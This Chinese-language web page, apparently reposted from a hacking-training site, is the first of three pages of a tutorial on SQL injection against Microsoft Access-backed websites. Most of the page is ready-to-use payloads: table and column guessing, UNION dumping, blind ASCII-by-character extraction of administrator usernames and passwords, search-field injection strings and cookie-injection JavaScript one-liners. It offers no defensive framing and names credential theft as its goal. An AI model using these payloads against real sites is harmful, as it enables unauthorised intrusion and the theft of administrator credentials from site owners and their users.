首 页IT知识库翔宇问吧收藏本站
当前位置:翔宇亭IT乐园IT知识库电脑基础安全防护

Access数据库注入技术高级玩法

减小字体 增大字体 作者:佚名  来源:网卫大学堂  发布时间:2010-01-24 20:31:00

详细介绍Access数据库注入技术高级玩法:

  一,基础篇

  猜解表名,这里借用啊D的语句:

  and exists (select * from 表名)

  猜解列名:

  and exists (select 字段 from 表名)

  UNION法,在执行union之前建议进行下order by这样会更快。

  联合查询:

  select name,password,id from user union select user,pwd,uid from

  如果遇到order by 错误提示,执行下2次union可解决

  and 1=2 union select 1,2,3,4,5 from 表名 union select 1,2,3,4,5 from 表名

  爆指定表名内容:

  and 1=2 union select 1,2,3,4,5 from 表名

  ASCII逐字解码法:

  1、猜解列长度

  猜解语句:

  and (select top 1 len(列名)from 表名)>N

  and (select top 1 len(列名)from 表名)=N

  其中N是数字,变换这个N的值猜解列长度,例如:

  and (select top 1 len(列名)from 表名)>1

  and (select top 1 len(列名)from 表名)>6

  如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:

  select top 1 len(列名) from 表名

  where 列名 not in (select top 1 列名 from 表名)

  2、ASCII码分析法猜解用户和密码

  ASC()函数和Mid函数

  例如:mid(列名,N,1)

  ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码

  猜解语句为:

  and (select top 1 asc(mid(字段,1,1)) from 数据库名)=ASC码(通过转换工具换)

  区间判断语句:

  “......between......and......”

  中文处理法:

  当ASCII转换后为“负数”使用abs()函数取绝对值。

  例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码(通过转换工具换)

  ASCII逐字解码法的应用:

  1、猜解表名:

  and (select count(*) from admin)<>0

  2、猜解列名:

  and (select count(列名) from 表名)<>0

  3、猜解管理员用户个数:

  and (select count(*) from 表名)=1

  返回正常,表中有一条记录。

  4、猜解管理员用户名的长度:

  and (select len(列名) from 表名)>=1、>=2、>=3、>=4。

  5、猜解管理员用户名:

  and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0

  最后提交:

  and (select asc(mid(列名,1,1)) from 表名)=ascii的值

  6、猜解管理员的密码:

  按照上面的原理,只要把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到管理员的密码了。

  搜索型注入漏洞利用猜解语句:

  关键字%' and 1=1 and '%'='%

  关键字%' and 1=2 and '%'='%

  将and 1=1 换成注入语句就可以了。

  cookie注入语句:

  java script:alert(document.cookie="id="+escape("44 and 1=1"));

  java script:alert(document.cookie="id="+escape("44 and 1=2"));

  猜解语句:

  猜解长度:

  java script:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16"))

  猜解内容:

  java script:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97"))

[1] [2] [3]  下一页

知识评论评论内容只代表网友观点,与本站立场无关!

   评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论

用户名: 查看更多评论

分 值:100分 85分 70分 55分 40分 25分 10分 1分

内 容:

            请注意用语文明且合法,不要发布带有攻击性、侮辱性的言论,谢谢合作!

         通知管理员 验证码:

关于本站 | 网站帮助 | 广告合作 | 网站声明 | 友情连接 | 网站地图 | 用户守则 | 联系我们 |
本站大多数内容来自互联网或网站会员发布,如有侵权,请来信告之,谢谢!
Copyright © 2007-2017 biye5u.com. All Rights Reserved.
网站备案号:黑ICP备13005378号-3